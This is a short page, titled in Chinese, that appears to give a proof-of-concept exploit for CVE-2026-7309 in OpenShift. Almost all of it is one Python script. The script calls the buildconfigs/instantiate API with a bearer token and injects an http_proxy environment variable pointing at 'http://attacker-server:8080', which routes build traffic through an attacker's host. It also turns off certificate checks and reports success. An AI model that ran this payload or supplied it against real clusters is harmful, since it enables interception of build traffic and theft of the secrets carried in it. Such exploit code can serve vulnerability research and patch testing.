CVE-2026-7309 OpenShift构建系统信息泄露漏洞

# PoC for CVE-2026-7309: OpenShift Environment Variable Injection # Description: Inject malicious env vars via buildconfigs/instantiate API import requests import json TARGET_API = "https://<openshift-api>/apis/build.openshift.io/v1/namespaces/<namespace>/buildconfigs/<name>/instantiate" TOKEN = "<your-token>" headers = { "Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json" } # Payload injecting http_proxy to intercept traffic payload = { "kind": "BuildRequest", "apiVersion": "build.openshift.io/v1", "env": [ { "name": "http_proxy", "value": "http://attacker-server:8080" } ] } try: resp = requests.post(TARGET_API, headers=headers, data=json.dumps(payload), verify=False) if resp.status_code == 201: print("[+] Exploit successful: Build instantiated with proxy.") else: print(f"[-] Failed: {resp.status_code}, {resp.text}") except Exception as e: print(f"Error: {e}")